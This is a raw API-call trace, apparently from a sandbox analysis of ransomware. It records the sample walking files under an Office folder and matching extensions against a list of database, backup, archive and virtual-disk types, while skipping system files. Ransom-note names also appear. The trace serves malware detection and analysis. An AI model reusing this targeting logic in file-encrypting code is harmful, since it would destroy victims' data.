	[0070.276] lstrcmpiW (lpString1="Note.gpd", lpString2="sqlitedb") returned -1
	[0070.276] lstrlenW (lpString="xml") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="xml") returned -1
	[0070.276] lstrlenW (lpString="$er") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="$er") returned 1
	[0070.276] lstrlenW (lpString="4dd") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="4dd") returned 1
	[0070.276] lstrlenW (lpString="4dl") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="4dl") returned 1
	[0070.276] lstrlenW (lpString="^^^") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="^^^") returned 1
	[0070.276] lstrlenW (lpString="abs") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="abs") returned 1
	[0070.276] lstrlenW (lpString="abx") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="abx") returned 1
	[0070.276] lstrlenW (lpString="accdb") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accdb") returned 1
	[0070.276] lstrlenW (lpString="accdc") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accdc") returned 1
	[0070.276] lstrlenW (lpString="accde") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accde") returned 1
	[0070.276] lstrlenW (lpString="accdr") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accdr") returned 1
	[0070.276] lstrlenW (lpString="accdt") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accdt") returned 1
	[0070.276] lstrlenW (lpString="accdw") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accdw") returned 1
	[0070.276] lstrlenW (lpString="accft") returned 5
	[0070.276] lstrcmpiW (lpString1="e.gpd", lpString2="accft") returned 1
	[0070.276] lstrlenW (lpString="adb") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1
	[0070.277] lstrlenW (lpString="adb") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1
	[0070.277] lstrlenW (lpString="ade") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="ade") returned 1
	[0070.277] lstrlenW (lpString="adf") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="adf") returned 1
	[0070.277] lstrlenW (lpString="adn") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="adn") returned 1
	[0070.277] lstrlenW (lpString="adp") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="adp") returned 1
	[0070.277] lstrlenW (lpString="alf") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="alf") returned 1
	[0070.277] lstrlenW (lpString="ask") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="ask") returned 1
	[0070.277] lstrlenW (lpString="btr") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="btr") returned 1
	[0070.277] lstrlenW (lpString="cat") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="cat") returned 1
	[0070.277] lstrlenW (lpString="cdb") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="cdb") returned 1
	[0070.277] lstrlenW (lpString="ckp") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="ckp") returned 1
	[0070.277] lstrlenW (lpString="cma") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="cma") returned 1
	[0070.277] lstrlenW (lpString="cpd") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="cpd") returned 1
	[0070.277] lstrlenW (lpString="dacpac") returned 6
	[0070.277] lstrcmpiW (lpString1="te.gpd", lpString2="dacpac") returned 1
	[0070.277] lstrlenW (lpString="dad") returned 3
	[0070.277] lstrcmpiW (lpString1="gpd", lpString2="dad") returned 1
	[0070.277] lstrlenW (lpString="dadiagrams") returned 10
	[0070.277] lstrcmpiW (lpString1="neNote.gpd", lpString2="dadiagrams") returned 1
	[0070.277] lstrlenW (lpString="daschema") returned 8
	[0070.277] lstrcmpiW (lpString1="Note.gpd", lpString2="daschema") returned 1
	[0070.277] lstrlenW (lpString="db-journal") returned 10
	[0070.277] lstrcmpiW (lpString1="neNote.gpd", lpString2="db-journal") returned 1
	[0070.277] lstrlenW (lpString="db-shm") returned 6
	[0070.278] lstrcmpiW (lpString1="te.gpd", lpString2="db-shm") returned 1
	[0070.278] lstrlenW (lpString="db-wal") returned 6
	[0070.278] lstrcmpiW (lpString1="te.gpd", lpString2="db-wal") returned 1
	[0070.278] lstrlenW (lpString="dbc") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dbc") returned 1
	[0070.278] lstrlenW (lpString="dbs") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dbs") returned 1
	[0070.278] lstrlenW (lpString="dbt") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dbt") returned 1
	[0070.278] lstrlenW (lpString="dbv") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dbv") returned 1
	[0070.278] lstrlenW (lpString="dbx") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dbx") returned 1
	[0070.278] lstrlenW (lpString="dcb") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dcb") returned 1
	[0070.278] lstrlenW (lpString="dct") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dct") returned 1
	[0070.278] lstrlenW (lpString="dcx") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dcx") returned 1
	[0070.278] lstrlenW (lpString="ddl") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="ddl") returned 1
	[0070.278] lstrlenW (lpString="dlis") returned 4
	[0070.278] lstrcmpiW (lpString1=".gpd", lpString2="dlis") returned -1
	[0070.278] lstrlenW (lpString="dp1") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dp1") returned 1
	[0070.278] lstrlenW (lpString="dqy") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dqy") returned 1
	[0070.278] lstrlenW (lpString="dsk") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dsk") returned 1
	[0070.278] lstrlenW (lpString="dsn") returned 3
	[0070.278] lstrcmpiW (lpString1="gpd", lpString2="dsn") returned 1
	[0070.278] lstrlenW (lpString="dtsx") returned 4
	[0070.278] lstrcmpiW (lpString1=".gpd", lpString2="dtsx") returned -1
	[0070.278] lstrlenW (lpString="dxl") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="dxl") returned 1
	[0070.279] lstrlenW (lpString="eco") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="eco") returned 1
	[0070.279] lstrlenW (lpString="ecx") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="ecx") returned 1
	[0070.279] lstrlenW (lpString="edb") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="edb") returned 1
	[0070.279] lstrlenW (lpString="epim") returned 4
	[0070.279] lstrcmpiW (lpString1=".gpd", lpString2="epim") returned -1
	[0070.279] lstrlenW (lpString="fcd") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fcd") returned 1
	[0070.279] lstrlenW (lpString="fdb") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fdb") returned 1
	[0070.279] lstrlenW (lpString="fic") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fic") returned 1
	[0070.279] lstrlenW (lpString="flexolibrary") returned 12
	[0070.279] lstrcmpiW (lpString1="oOneNote.gpd", lpString2="flexolibrary") returned 1
	[0070.279] lstrlenW (lpString="fm5") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fm5") returned 1
	[0070.279] lstrlenW (lpString="fmp") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fmp") returned 1
	[0070.279] lstrlenW (lpString="fmp12") returned 5
	[0070.279] lstrcmpiW (lpString1="e.gpd", lpString2="fmp12") returned -1
	[0070.279] lstrlenW (lpString="fmpsl") returned 5
	[0070.279] lstrcmpiW (lpString1="e.gpd", lpString2="fmpsl") returned -1
	[0070.279] lstrlenW (lpString="fol") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fol") returned 1
	[0070.279] lstrlenW (lpString="fp3") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fp3") returned 1
	[0070.279] lstrlenW (lpString="fp4") returned 3
	[0070.279] lstrcmpiW (lpString1="gpd", lpString2="fp4") returned 1
	[0070.280] lstrlenW (lpString="fp5") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="fp5") returned 1
	[0070.280] lstrlenW (lpString="fp7") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="fp7") returned 1
	[0070.280] lstrlenW (lpString="fpt") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="fpt") returned 1
	[0070.280] lstrlenW (lpString="frm") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="frm") returned 1
	[0070.280] lstrlenW (lpString="gdb") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1
	[0070.280] lstrlenW (lpString="gdb") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1
	[0070.280] lstrlenW (lpString="grdb") returned 4
	[0070.280] lstrcmpiW (lpString1=".gpd", lpString2="grdb") returned -1
	[0070.280] lstrlenW (lpString="gwi") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="gwi") returned -1
	[0070.280] lstrlenW (lpString="hdb") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="hdb") returned -1
	[0070.280] lstrlenW (lpString="his") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="his") returned -1
	[0070.280] lstrlenW (lpString="ib") returned 2
	[0070.280] lstrcmpiW (lpString1="pd", lpString2="ib") returned 1
	[0070.280] lstrlenW (lpString="idb") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="idb") returned -1
	[0070.280] lstrlenW (lpString="ihx") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="ihx") returned -1
	[0070.280] lstrlenW (lpString="itdb") returned 4
	[0070.280] lstrcmpiW (lpString1=".gpd", lpString2="itdb") returned -1
	[0070.280] lstrlenW (lpString="itw") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="itw") returned -1
	[0070.280] lstrlenW (lpString="jet") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="jet") returned -1
	[0070.280] lstrlenW (lpString="jtx") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="jtx") returned -1
	[0070.280] lstrlenW (lpString="kdb") returned 3
	[0070.280] lstrcmpiW (lpString1="gpd", lpString2="kdb") returned -1
	[0070.280] lstrlenW (lpString="kexi") returned 4
	[0070.280] lstrcmpiW (lpString1=".gpd", lpString2="kexi") returned -1
	[0070.281] lstrlenW (lpString="kexic") returned 5
	[0070.281] lstrcmpiW (lpString1="e.gpd", lpString2="kexic") returned -1
	[0070.281] lstrlenW (lpString="kexis") returned 5
	[0070.281] lstrcmpiW (lpString1="e.gpd", lpString2="kexis") returned -1
	[0070.281] lstrlenW (lpString="lgc") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="lgc") returned -1
	[0070.281] lstrlenW (lpString="lwx") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="lwx") returned -1
	[0070.281] lstrlenW (lpString="maf") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="maf") returned -1
	[0070.281] lstrlenW (lpString="maq") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="maq") returned -1
	[0070.281] lstrlenW (lpString="mar") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mar") returned -1
	[0070.281] lstrlenW (lpString="marshal") returned 7
	[0070.281] lstrcmpiW (lpString1="ote.gpd", lpString2="marshal") returned 1
	[0070.281] lstrlenW (lpString="mas") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mas") returned -1
	[0070.281] lstrlenW (lpString="mav") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mav") returned -1
	[0070.281] lstrlenW (lpString="maw") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="maw") returned -1
	[0070.281] lstrlenW (lpString="mdbhtml") returned 7
	[0070.281] lstrcmpiW (lpString1="ote.gpd", lpString2="mdbhtml") returned 1
	[0070.281] lstrlenW (lpString="mdn") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mdn") returned -1
	[0070.281] lstrlenW (lpString="mdt") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mdt") returned -1
	[0070.281] lstrlenW (lpString="mfd") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mfd") returned -1
	[0070.281] lstrlenW (lpString="mpd") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mpd") returned -1
	[0070.281] lstrlenW (lpString="mrg") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mrg") returned -1
	[0070.281] lstrlenW (lpString="mud") returned 3
	[0070.281] lstrcmpiW (lpString1="gpd", lpString2="mud") returned -1
	[0070.281] lstrlenW (lpString="mwb") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="mwb") returned -1
	[0070.282] lstrlenW (lpString="myd") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="myd") returned -1
	[0070.282] lstrlenW (lpString="ndf") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="ndf") returned -1
	[0070.282] lstrlenW (lpString="nnt") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="nnt") returned -1
	[0070.282] lstrlenW (lpString="nrmlib") returned 6
	[0070.282] lstrcmpiW (lpString1="te.gpd", lpString2="nrmlib") returned 1
	[0070.282] lstrlenW (lpString="ns2") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="ns2") returned -1
	[0070.282] lstrlenW (lpString="ns3") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="ns3") returned -1
	[0070.282] lstrlenW (lpString="ns4") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="ns4") returned -1
	[0070.282] lstrlenW (lpString="nsf") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="nsf") returned -1
	[0070.282] lstrlenW (lpString="nv") returned 2
	[0070.282] lstrcmpiW (lpString1="pd", lpString2="nv") returned 1
	[0070.282] lstrlenW (lpString="nv2") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="nv2") returned -1
	[0070.282] lstrlenW (lpString="nwdb") returned 4
	[0070.282] lstrcmpiW (lpString1=".gpd", lpString2="nwdb") returned -1
	[0070.282] lstrlenW (lpString="nyf") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="nyf") returned -1
	[0070.282] lstrlenW (lpString="odb") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1
	[0070.282] lstrlenW (lpString="odb") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1
	[0070.282] lstrlenW (lpString="oqy") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="oqy") returned -1
	[0070.282] lstrlenW (lpString="ora") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="ora") returned -1
	[0070.282] lstrlenW (lpString="orx") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="orx") returned -1
	[0070.282] lstrlenW (lpString="owc") returned 3
	[0070.282] lstrcmpiW (lpString1="gpd", lpString2="owc") returned -1
	[0070.283] lstrlenW (lpString="p96") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="p96") returned -1
	[0070.283] lstrlenW (lpString="p97") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="p97") returned -1
	[0070.283] lstrlenW (lpString="pan") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="pan") returned -1
	[0070.283] lstrlenW (lpString="pdb") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="pdb") returned -1
	[0070.283] lstrlenW (lpString="pdm") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="pdm") returned -1
	[0070.283] lstrlenW (lpString="pnz") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="pnz") returned -1
	[0070.283] lstrlenW (lpString="qry") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="qry") returned -1
	[0070.283] lstrlenW (lpString="qvd") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="qvd") returned -1
	[0070.283] lstrlenW (lpString="rbf") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="rbf") returned -1
	[0070.283] lstrlenW (lpString="rctd") returned 4
	[0070.283] lstrcmpiW (lpString1=".gpd", lpString2="rctd") returned -1
	[0070.283] lstrlenW (lpString="rod") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="rod") returned -1
	[0070.283] lstrlenW (lpString="rodx") returned 4
	[0070.283] lstrcmpiW (lpString1=".gpd", lpString2="rodx") returned -1
	[0070.283] lstrlenW (lpString="rpd") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="rpd") returned -1
	[0070.283] lstrlenW (lpString="rsd") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="rsd") returned -1
	[0070.283] lstrlenW (lpString="sas7bdat") returned 8
	[0070.283] lstrcmpiW (lpString1="Note.gpd", lpString2="sas7bdat") returned -1
	[0070.283] lstrlenW (lpString="sbf") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="sbf") returned -1
	[0070.283] lstrlenW (lpString="scx") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="scx") returned -1
	[0070.283] lstrlenW (lpString="sdb") returned 3
	[0070.283] lstrcmpiW (lpString1="gpd", lpString2="sdb") returned -1
	[0070.283] lstrlenW (lpString="sdc") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="sdc") returned -1
	[0070.284] lstrlenW (lpString="sdf") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="sdf") returned -1
	[0070.284] lstrlenW (lpString="sis") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="sis") returned -1
	[0070.284] lstrlenW (lpString="spq") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="spq") returned -1
	[0070.284] lstrlenW (lpString="te") returned 2
	[0070.284] lstrcmpiW (lpString1="pd", lpString2="te") returned -1
	[0070.284] lstrlenW (lpString="teacher") returned 7
	[0070.284] lstrcmpiW (lpString1="ote.gpd", lpString2="teacher") returned -1
	[0070.284] lstrlenW (lpString="tmd") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="tmd") returned -1
	[0070.284] lstrlenW (lpString="tps") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="tps") returned -1
	[0070.284] lstrlenW (lpString="trc") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1
	[0070.284] lstrlenW (lpString="trc") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1
	[0070.284] lstrlenW (lpString="trm") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="trm") returned -1
	[0070.284] lstrlenW (lpString="udb") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="udb") returned -1
	[0070.284] lstrlenW (lpString="udl") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="udl") returned -1
	[0070.284] lstrlenW (lpString="usr") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="usr") returned -1
	[0070.284] lstrlenW (lpString="v12") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="v12") returned -1
	[0070.284] lstrlenW (lpString="vis") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="vis") returned -1
	[0070.284] lstrlenW (lpString="vpd") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="vpd") returned -1
	[0070.284] lstrlenW (lpString="vvv") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="vvv") returned -1
	[0070.284] lstrlenW (lpString="wdb") returned 3
	[0070.284] lstrcmpiW (lpString1="gpd", lpString2="wdb") returned -1
	[0070.285] lstrlenW (lpString="wmdb") returned 4
	[0070.285] lstrcmpiW (lpString1=".gpd", lpString2="wmdb") returned -1
	[0070.285] lstrlenW (lpString="wrk") returned 3
	[0070.285] lstrcmpiW (lpString1="gpd", lpString2="wrk") returned -1
	[0070.285] lstrlenW (lpString="xdb") returned 3
	[0070.285] lstrcmpiW (lpString1="gpd", lpString2="xdb") returned -1
	[0070.285] lstrlenW (lpString="xld") returned 3
	[0070.285] lstrcmpiW (lpString1="gpd", lpString2="xld") returned -1
	[0070.285] lstrlenW (lpString="xmlff") returned 5
	[0070.285] lstrcmpiW (lpString1="e.gpd", lpString2="xmlff") returned -1
	[0070.285] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~1.INI")) returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="Apollon865.txt.exe") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="..") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="windows") returned -1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="bootmgr") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="temp") returned -1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="pagefile.sys") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="boot") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="ids.txt") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="ntuser.dat") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="perflogs") returned 1
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="MSBuild") returned 1
	[0070.285] lstrlenW (lpString="SendToOneNote.ini") returned 17
	[0070.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd") returned 68
	[0070.285] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNote.ini" | out: lpString1="SendToOneNote.ini") returned="SendToOneNote.ini"
	[0070.285] lstrlenW (lpString="SendToOneNote.ini") returned 17
	[0070.285] lstrlenW (lpString="Apollon865") returned 10
	[0070.285] lstrcmpiW (lpString1="neNote.ini", lpString2="Apollon865") returned 1
	[0070.285] lstrlenW (lpString=".dll") returned 4
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".dll") returned 1
	[0070.285] lstrlenW (lpString=".lnk") returned 4
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".lnk") returned 1
	[0070.285] lstrlenW (lpString=".ini") returned 4
	[0070.285] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".ini") returned 1
	[0070.285] lstrlenW (lpString=".sys") returned 4
	[0070.286] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".sys") returned 1
	[0070.286] lstrlenW (lpString="SendToOneNote.ini") returned 17
	[0070.286] lstrlenW (lpString="bak") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0070.286] lstrlenW (lpString="ba_") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0070.286] lstrlenW (lpString="dbb") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0070.286] lstrlenW (lpString="vmdk") returned 4
	[0070.286] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0070.286] lstrlenW (lpString="rar") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0070.286] lstrlenW (lpString="zip") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0070.286] lstrlenW (lpString="tgz") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0070.286] lstrlenW (lpString="vbox") returned 4
	[0070.286] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0070.286] lstrlenW (lpString="vdi") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0070.286] lstrlenW (lpString="vhd") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0070.286] lstrlenW (lpString="vhdx") returned 4
	[0070.286] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0070.286] lstrlenW (lpString="avhd") returned 4
	[0070.286] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0070.286] lstrlenW (lpString="db") returned 2
	[0070.286] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0070.286] lstrlenW (lpString="db2") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0070.286] lstrlenW (lpString="db3") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0070.286] lstrlenW (lpString="dbf") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0070.286] lstrlenW (lpString="mdf") returned 3
	[0070.286] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0070.287] lstrlenW (lpString="mdb") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0070.287] lstrlenW (lpString="sql") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0070.287] lstrlenW (lpString="sqlite") returned 6
	[0070.287] lstrcmpiW (lpString1="te.ini", lpString2="sqlite") returned 1
	[0070.287] lstrlenW (lpString="sqlite3") returned 7
	[0070.287] lstrcmpiW (lpString1="ote.ini", lpString2="sqlite3") returned -1
	[0070.287] lstrlenW (lpString="sqlitedb") returned 8
	[0070.287] lstrcmpiW (lpString1="Note.ini", lpString2="sqlitedb") returned -1
	[0070.287] lstrlenW (lpString="xml") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0070.287] lstrlenW (lpString="$er") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0070.287] lstrlenW (lpString="4dd") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0070.287] lstrlenW (lpString="4dl") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0070.287] lstrlenW (lpString="^^^") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0070.287] lstrlenW (lpString="abs") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0070.287] lstrlenW (lpString="abx") returned 3
	[0070.287] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0070.287] lstrlenW (lpString="accdb") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accdb") returned 1
	[0070.287] lstrlenW (lpString="accdc") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accdc") returned 1
	[0070.287] lstrlenW (lpString="accde") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accde") returned 1
	[0070.287] lstrlenW (lpString="accdr") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accdr") returned 1
	[0070.287] lstrlenW (lpString="accdt") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accdt") returned 1
	[0070.287] lstrlenW (lpString="accdw") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accdw") returned 1
	[0070.287] lstrlenW (lpString="accft") returned 5
	[0070.287] lstrcmpiW (lpString1="e.ini", lpString2="accft") returned 1
	[0070.288] lstrlenW (lpString="adb") returned 3
	[0070.288] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0070.288] lstrlenW (lpString="adb") returned 3
	[0070.288] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0070.288] lstrlenW (lpString="ade") returned 3
	[0070.288] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
